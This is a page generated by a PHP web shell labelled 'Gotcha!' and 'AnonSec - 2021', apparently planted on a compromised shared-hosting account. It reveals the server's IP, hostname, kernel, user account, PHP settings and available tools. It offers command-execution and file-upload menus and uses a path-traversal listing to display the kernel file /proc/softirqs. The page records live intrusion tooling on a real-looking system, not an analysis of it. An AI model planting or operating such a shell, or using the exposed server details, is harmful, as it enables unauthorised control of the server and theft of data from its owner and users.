Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../../../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../../../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   16028745   43209778   24369926   33619044   20606684   35608710   29714508   18958171   25434196   20444283   19977696   22145384  106589949   13193354   33126718   22930821
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         14          2          0          5          1
      NET_RX:   23490757   61593860   33100077   91055379   31153217  116515358   29964278   28909131   47253913   37138924   45159071   32386009   47892139   22544655   99484493  110245810
       BLOCK:    1152663    2073272    1911882    1495354    1229106    1275851    1261638    1200821    1321471    1121499     998576    1218744    1174778    1203086    1354959    1501406
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5322044   13323836    3906605   24329757    7746838   30458404    8042161    6584140   11302687    7760202   15482830    9100586   14671938    4261384   23761642    4098192
       SCHED:   38454644   18997778   12326870   16001960    9971702   18390386   10789002    9129389   11811191    9976742    9296738   12057158   21898966    8057176   16216260   21516950
     HRTIMER:       1623       5211       3316       8601       2131      12939       1431       2168       4243       2462       5369       3810       5381       1267       7058        968
         RCU:   38825077   70987135   48920970   83389261   45389105  102812884   48791490   41818633   56212591   48953181   40578252   43469092   93736624   36891886   93582182  143559856

AnonSec - 2021